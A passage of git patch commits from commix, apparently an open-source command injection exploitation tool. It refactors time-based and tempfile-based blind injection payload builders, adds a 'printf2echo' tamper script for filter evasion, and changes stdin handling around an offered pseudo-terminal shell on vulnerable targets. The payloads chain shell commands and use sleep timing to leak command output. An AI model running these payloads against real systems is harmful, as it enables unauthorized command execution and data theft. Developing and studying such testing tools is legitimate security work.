payload = (separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator +
# Find the length of the output, using readline().
@@ -230,25 +204,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth
)
else:
- if separator == ";" :
- payload = (separator +
- "str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator +
- "echo $str > " + OUTPUT_TEXTFILE + separator +
- "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator +
- # Find the length of the output.
- "str1=$(expr length \"$str\")" + separator +
- #"str1=${%23str}" + separator +
- "if [ " + str(j) + " -ne ${str1} ]" + separator +
- "then sleep 0 " + separator +
- "else sleep " + str(timesec) + separator +
- # Transform to ASCII
- "str1=$(od -A n -t d1 < " +OUTPUT_TEXTFILE + ")" + separator +
- "echo $str1 > " + OUTPUT_TEXTFILE + separator +
- "fi "
- )
-
- elif separator == "%0a" :
- #separator = "\n"
+ if separator == ";" or separator == "%0a" :
payload = (separator +
"str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator +
"echo $str > " + OUTPUT_TEXTFILE + separator +
@@ -330,7 +286,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
- if separator == ";" :
+ if separator == ";" or separator == "%0a" :
payload = (separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator +
# Find the length of the output, using readline().
@@ -341,18 +297,6 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_
"fi "
)
- elif separator == "%0a" :
- #separator = "\n"
- payload = (separator +
- "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator +
- # Find the length of the output, using readline().
- "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator +
- "if [ " + str(j) + " -ne ${str1} ] " + separator +
- "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
- "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
- "fi "
- )
-
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
@@ -413,18 +357,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http
)
else:
- if separator == ";" :
- payload = (separator +
- # Use space as delimiter
- "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator +
- "if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
- "then sleep 0" + separator +
- "else sleep " + str(timesec) + separator +
- "fi "
- )
-
- elif separator == "%0a" :
- #separator = "\n"
+ if separator == ";" or separator == "%0a" :
payload = (separator +
# Use space as delimiter
"str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator +
@@ -487,7 +420,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
- if separator == ";" :
+ if separator == ";" or separator == "%0a" :
payload = (separator +
"str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator +
"if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
@@ -496,16 +429,6 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t
"fi "
)
- elif separator == "%0a" :
- #separator = "\n"
- payload = (separator +
- "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator +
- "if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
- "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
- "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
- "fi "
- )
-
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
@@ -562,17 +485,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth
)
else:
- if separator == ";" :
- payload = (separator +
- "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator +
- "if [ " + str(ord(str(ascii_char))) + " -ne ${str} ]" + separator +
- "then sleep 0" + separator +
- "else sleep " + str(timesec) + separator +
- "fi "
- )
-
- elif separator == "%0a" :
- #separator = "\n"
+ if separator == ";" or separator == "%0a" :
payload = (separator +
"str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator +
"if [ " + str(ord(str(ascii_char))) + " -ne ${str} ]" + separator +
@@ -629,17 +542,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char,
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
else:
- if separator == ";" :
- payload = (separator +
- "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\")" + separator +
- "if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
- "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
- "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
- "fi "
- )
-
- elif separator == "%0a" :
- #separator = "\n"
+ if separator == ";" or separator == "%0a" :
payload = (separator +
"str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\")" + separator +
"if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
diff --git a/src/utils/settings.py b/src/utils/settings.py
index bdeb782513..dd7eb9a196 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "6"
+REVISION = "7"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 3cb81bb35e58b37571131b2c12b209bfd60c8e72 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 7 Oct 2022 15:45:23 +0300
Subject: [PATCH 188/560] New line removed
---
.../injections/blind/techniques/time_based/tb_payloads.py | 4 ++--
src/utils/settings.py | 2 +-
2 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py
index b0caa1283a..b119491275 100755
--- a/src/core/injections/blind/techniques/time_based/tb_payloads.py
+++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py
@@ -314,7 +314,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met
# Export char-by-char the execution output.
"char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator +
# Transform from Ascii to Decimal.
- "str=$(printf '%d\\n' \"'$char'\")" + separator +
+ "str=$(printf '%d' \"'$char'\")" + separator +
# Perform the time-based comparisons
"if [ " + str(ascii_char) + " -ne $str ]" + separator +
"then sleep 0" + separator +
@@ -332,7 +332,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met
# Export char-by-char the execution output.
"char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator +
# Transform from Ascii to Decimal.
- "str=$(printf '%d\\n' \"'$char'\")" + separator +
+ "str=$(printf '%d' \"'$char'\")" + separator +
# Perform the time-based comparisons
"[ " + str(ascii_char) + " -eq ${str} ] " + separator +
"sleep " + str(timesec)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index dd7eb9a196..a6838560d0 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "7"
+REVISION = "8"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 73c16e0a1e7c556af0ac1300412f000ba3e0a393 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 8 Oct 2022 10:00:31 +0300
Subject: [PATCH 189/560] Fixes
https://github.com/commixproject/commix/issues/782
---
doc/CHANGELOG.md | 1 +
src/core/injections/controller/checks.py | 4 +++
src/core/tamper/printf2echo.py | 34 ++++++++++++++++++++++++
src/utils/settings.py | 4 ++-
4 files changed, 42 insertions(+), 1 deletion(-)
create mode 100644 src/core/tamper/printf2echo.py
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 0115fbc2e6..8eea9871af 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.6 (TBA)
+* Added: New tamper script "printf2echo.py" that replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`.
* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option).
* Revised: Minor improvement regarding handling HTTP Error 401 (Unauthorized).
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 66ebcdf6cf..dea83e2c3f 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -1380,6 +1380,10 @@ def check_for_stored_tamper(payload):
"""
def perform_payload_modification(payload):
for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])):
+ # printf to echo (for ascii to dec)
+ if encode_type == 'printf2echo':
+ from src.core.tamper import printf2echo
+ payload = printf2echo.tamper(payload)
# sleep to timeout
if encode_type == 'sleep2timeout':
from src.core.tamper import sleep2timeout
diff --git a/src/core/tamper/printf2echo.py b/src/core/tamper/printf2echo.py
new file mode 100644
index 0000000000..eb03120e34
--- /dev/null
+++ b/src/core/tamper/printf2echo.py
@@ -0,0 +1,34 @@
+#!/usr/bin/env python
+# encoding: UTF-8
+
+"""
+This file is part of Commix Project (https://commixproject.com).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+For more see the file 'readme/COPYING' for copying permission.
+"""
+
+from src.utils import settings
+
+"""
+About: Replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`.
+Notes: This tamper script works against Unix-like target(s)
+"""
+
+__tamper__ = "printf2echo"
+settings.TAMPER_SCRIPTS[__tamper__] = True
+
+def tamper(payload):
+ def printf_to_echo(payload):
+ if "printf" in payload:
+ payload = payload.replace("str=$(printf" + settings.WHITESPACES[0] + "'%d'" + settings.WHITESPACES[0] + "\"'$char'\")", "str=$(echo" + settings.WHITESPACES[0] + "-n" + settings.WHITESPACES[0] + "$char" + settings.WHITESPACES[0] + "|" + settings.WHITESPACES[0] + "od" + settings.WHITESPACES[0] + "-An" + settings.WHITESPACES[0] + "-tuC" + settings.WHITESPACES[0] + "|" + settings.WHITESPACES[0] + "xargs)")
+ return payload
+
+ return printf_to_echo(payload)
+
+# eof
\ No newline at end of file
diff --git a/src/utils/settings.py b/src/utils/settings.py
index a6838560d0..bc7e60f966 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "8"
+REVISION = "9"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -995,6 +995,7 @@ def sys_argv_errors():
"sleep2timeout": False,
"xforwardedfor": False,
"dollaratsigns": False,
+ "printf2echo": False,
"uninitializedvariable": False,
"slash2env":False,
"backticks":False
@@ -1013,6 +1014,7 @@ def sys_argv_errors():
"singlequotes",
"slash2env",
"sleep2usleep",
+ "printf2echo",
"space2ifs",
"uninitializedvariable"
]
From f1ae3f6e59de9003f5a6ee53dd62e50e3f72cc2f Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 9 Oct 2022 10:02:09 +0300
Subject: [PATCH 190/560] Minor update
---
src/utils/menu.py | 2 +-
src/utils/settings.py | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/utils/menu.py b/src/utils/menu.py
index 875632d9cd..e9a7cfe0e8 100755
--- a/src/utils/menu.py
+++ b/src/utils/menu.py
@@ -538,7 +538,7 @@ def banner():
action="store",
type="int",
dest="failed_tries",
- default=20,
+ default=len(settings.SEPARATORS_LVL1) - 1,
help="Set a number of failed injection tries, in file-based technique.")
# Miscellaneous options
diff --git a/src/utils/settings.py b/src/utils/settings.py
index bc7e60f966..c853764a27 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "9"
+REVISION = "10"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From fe6790d497bea3894fdd4a8544358259c7767f84 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 10 Oct 2022 09:54:21 +0300
Subject: [PATCH 191/560] Minor update
---
.../injections/blind/techniques/time_based/tb_injector.py | 5 +++--
.../semiblind/techniques/tempfile_based/tfb_injector.py | 5 +++--
src/utils/settings.py | 2 +-
3 files changed, 7 insertions(+), 5 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py
index 3f23ab0cbe..06f550309a 100755
--- a/src/core/injections/blind/techniques/time_based/tb_injector.py
+++ b/src/core/injections/blind/techniques/time_based/tb_injector.py
@@ -510,10 +510,11 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese
"""
def export_injection_results(cmd, separator, output, check_how_long):
if output != "" and check_how_long != 0 :
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_output(output))
+ if settings.VERBOSITY_LEVEL == 0:
+ print(settings.SINGLE_WHITESPACE)
info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "."
print(settings.print_info_msg(info_msg))
+ print(settings.print_output(output))
else:
# Check if exists pipe filtration.
if output != False :
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
index 5e7cc9dcfe..78ba02cae3 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
@@ -512,10 +512,11 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese
"""
def export_injection_results(cmd, separator, output, check_how_long):
if output != "" and check_how_long != 0 :
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_output(output))
+ if settings.VERBOSITY_LEVEL == 0:
+ print(settings.SINGLE_WHITESPACE)
info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "."
print(settings.print_info_msg(info_msg))
+ print(settings.print_output(output))
else:
err_msg = common.invalid_cmd_output(cmd)
print(settings.print_error_msg(err_msg))
diff --git a/src/utils/settings.py b/src/utils/settings.py
index c853764a27..33292f7526 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "10"
+REVISION = "11"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 58d63016b3b01553935e06312a76d3c63673b158 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 15 Oct 2022 12:23:44 +0300
Subject: [PATCH 192/560] Fixes
https://github.com/commixproject/commix/issues/784
---
.../blind/techniques/time_based/tb_handler.py | 6 ++--
src/core/injections/controller/controller.py | 6 ++--
.../techniques/classic/cb_handler.py | 6 ++--
.../techniques/eval_based/eb_handler.py | 6 ++--
.../techniques/file_based/fb_handler.py | 2 +-
.../techniques/tempfile_based/tfb_handler.py | 6 ++--
src/core/main.py | 31 +++++++++----------
src/core/modules/shellshock/shellshock.py | 6 ++--
src/utils/settings.py | 7 +++--
9 files changed, 38 insertions(+), 38 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index 3053d0d3ef..89b1946538 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -298,7 +298,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
raise
except EOFError:
- if not settings.IS_TTY:
+ if settings.STDIN_PARSING:
print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
@@ -457,7 +457,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
if go_back == True:
break
message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
- if settings.IS_TTY:
+ if not settings.STDIN_PARSING:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
gotshell = common.read_input(message, default="n", check_batch=True)
@@ -516,7 +516,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
raise
except EOFError:
- if not settings.IS_TTY:
+ if settings.STDIN_PARSING:
print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index e189028203..32ae47355f 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -51,7 +51,7 @@ def check_for_stored_sessions(url, http_request_method):
settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method)
menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES
if session_handler.check_stored_parameter(url, http_request_method):
- if not settings.MULTI_TARGETS or settings.IS_TTY:
+ if not settings.MULTI_TARGETS or not settings.STDIN_PARSING:
settings.LOAD_SESSION = True
return True
@@ -695,11 +695,11 @@ def post_request(url, http_request_method, filename, timesec):
"""
def perform_checks(url, http_request_method, filename):
# Initiate whitespaces
- if settings.MULTI_TARGETS or not settings.IS_TTY and len(settings.WHITESPACES) > 1:
+ if settings.MULTI_TARGETS or settings.STDIN_PARSING and len(settings.WHITESPACES) > 1:
settings.WHITESPACES = ["%20"]
def basic_level_checks():
- if settings.MULTI_TARGETS or not settings.IS_TTY:
+ if settings.MULTI_TARGETS or settings.STDIN_PARSING:
settings.PERFORM_BASIC_SCANS = True
else:
settings.PERFORM_BASIC_SCANS = False
diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py
index 2a1399bde1..cbe27dfb02 100755
--- a/src/core/injections/results_based/techniques/classic/cb_handler.py
+++ b/src/core/injections/results_based/techniques/classic/cb_handler.py
@@ -198,7 +198,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
raise
except EOFError:
- if not settings.IS_TTY:
+ if settings.STDIN_PARSING:
print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
@@ -335,7 +335,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
if go_back == True:
break
message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
- if settings.IS_TTY:
+ if not settings.STDIN_PARSING:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
gotshell = common.read_input(message, default="n", check_batch=True)
@@ -401,7 +401,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
raise
except EOFError:
- if not settings.IS_TTY:
+ if settings.STDIN_PARSING:
print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
index 6a5322606c..b68e613d26 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
@@ -210,7 +210,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
raise
except EOFError:
- if not settings.IS_TTY:
+ if settings.STDIN_PARSING:
print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
@@ -346,7 +346,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
if go_back == True:
break
message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
- if settings.IS_TTY:
+ if not settings.STDIN_PARSING:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
gotshell = common.read_input(message, default="n", check_batch=True)
@@ -409,7 +409,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
raise
except EOFError:
- if not settings.IS_TTY:
+ if settings.STDIN_PARSING:
print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index a0829a16f9..693f011878 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -563,7 +563,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
if go_back == True:
break
message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
- if settings.IS_TTY:
+ if not settings.STDIN_PARSING:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
gotshell = common.read_input(message, default="n", check_batch=True)
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index e9fe804657..cc598bd8c8 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -319,7 +319,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
raise
except EOFError:
- if not settings.IS_TTY:
+ if settings.STDIN_PARSING:
print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
@@ -501,7 +501,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
if go_back == True:
break
message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
- if settings.IS_TTY:
+ if not settings.STDIN_PARSING:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
gotshell = common.read_input(message, default="n", check_batch=True)
@@ -566,7 +566,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
raise
except EOFError:
- if not settings.IS_TTY:
+ if settings.STDIN_PARSING:
print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
diff --git a/src/core/main.py b/src/core/main.py
index d123ca2c90..2bf768d34e 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -106,7 +106,7 @@ def check_custom_injection_marker(url):
if settings.WILDCARD_CHAR_APPLIED:
if menu.options.test_parameter:
- if not settings.MULTI_TARGETS or not settings.IS_TTY:
+ if not settings.MULTI_TARGETS or settings.STDIN_PARSING:
err_msg = "The options '-p' and the custom injection marker (" + settings.WILDCARD_CHAR + ") "
err_msg += "cannot be used simultaneously (i.e. only one option must be set)."
print(settings.print_critical_msg(err_msg))
@@ -135,7 +135,7 @@ def user_agent_header():
# Check if defined "--mobile" option.
if menu.options.mobile:
if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.random_agent:
- if not settings.MULTI_TARGETS or settings.IS_TTY:
+ if not settings.MULTI_TARGETS or not settings.STDIN_PARSING:
err_msg = "The switch '--mobile' is incompatible with option '--user-agent' or switch '--random-agent'."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
@@ -145,7 +145,7 @@ def user_agent_header():
# Check if defined "--random-agent" option.
if menu.options.random_agent:
if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.mobile:
- if not settings.MULTI_TARGETS or settings.IS_TTY:
+ if not settings.MULTI_TARGETS or not settings.STDIN_PARSING:
err_msg = "The switch '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
@@ -333,7 +333,7 @@ def main(filename, url):
if menu.options.url_reload and menu.options.data:
settings.URL_RELOAD = True
- if settings.WILDCARD_CHAR_APPLIED and settings.MULTI_TARGETS or not settings.IS_TTY:
+ if settings.WILDCARD_CHAR_APPLIED and settings.MULTI_TARGETS or settings.STDIN_PARSING:
settings.WILDCARD_CHAR_APPLIED = False
check_custom_injection_marker(url)
@@ -580,7 +580,7 @@ def main(filename, url):
if menu.options.smoke_test:
smoke_test()
- if not settings.IS_TTY or settings.CRAWLING or menu.options.bulkfile or menu.options.shellshock:
+ if settings.STDIN_PARSING or settings.CRAWLING or menu.options.bulkfile or menu.options.shellshock:
settings.OS_CHECKS_NUM = 1
for os_checks_num in range(0, int(settings.OS_CHECKS_NUM)):
@@ -608,15 +608,12 @@ def main(filename, url):
install.installer()
raise SystemExit()
- if not sys.stdin.isatty():
- settings.IS_TTY = False
-
# Check if defined "--purge" option.
if menu.options.purge:
purge.purge()
-
+
# Check for missing mandatory option(s).
- if settings.IS_TTY and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \
+ if not settings.STDIN_PARSING and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \
menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard, \
menu.options.update, menu.options.list_tampers, menu.options.purge, menu.options.noncore_dependencies)):
err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers, --purge or --dependencies). "
@@ -695,14 +692,14 @@ def main(filename, url):
print(settings.print_critical_msg(err_msg))
raise SystemExit()
- if menu.options.wizard and settings.IS_TTY:
+ if menu.options.wizard and not settings.STDIN_PARSING:
if not menu.options.url:
while True:
message = "Please enter full target URL (-u) > "
menu.options.url = common.read_input(message, default=None, check_batch=True)
if menu.options.url is None or len(menu.options.url) == 0:
pass
- else:
+ else:
break
message = "Please enter POST data (--data) [Enter for none] > "
menu.options.data = common.read_input(message, default=None, check_batch=True)
@@ -736,7 +733,7 @@ def main(filename, url):
settings.CRAWLING = True
# Check arguments
- if len(sys.argv) == 1 and settings.IS_TTY:
+ if len(sys.argv) == 1 and not settings.STDIN_PARSING:
menu.parser.print_help()
print(settings.SINGLE_WHITESPACE)
raise SystemExit()
@@ -790,7 +787,7 @@ def main(filename, url):
else:
url = menu.options.url
- if settings.IS_TTY and not menu.options.bulkfile and not settings.CRAWLING:
+ if not settings.STDIN_PARSING and not menu.options.bulkfile and not settings.CRAWLING:
http_request_method = checks.check_http_method(url)
if os_checks_num == 0:
settings.INIT_TEST = True
@@ -827,7 +824,7 @@ def main(filename, url):
bulkfile = [url.strip() for url in f]
# Check if option "--crawl" is enabled.
- if settings.CRAWLING and settings.IS_TTY:
+ if settings.CRAWLING:
settings.CRAWLING_PHASE = True
url_num = 1
if not menu.options.bulkfile:
@@ -846,7 +843,7 @@ def main(filename, url):
settings.CRAWLING_PHASE = False
else:
filename = None
- if settings.IS_TTY:
+ if not settings.STDIN_PARSING:
output_href = output_href + bulkfile
else:
if os_checks_num == 0:
@@ -864,7 +861,7 @@ def main(filename, url):
[clean_output_href.append(x) for x in output_href if x not in clean_output_href]
# Removing empty elements from list.
clean_output_href = [x for x in clean_output_href if x]
- if len(output_href) != 0 and settings.IS_TTY:
+ if len(output_href) != 0 and not settings.STDIN_PARSING:
if filename is not None:
filename = crawler.store_crawling(output_href)
info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "."
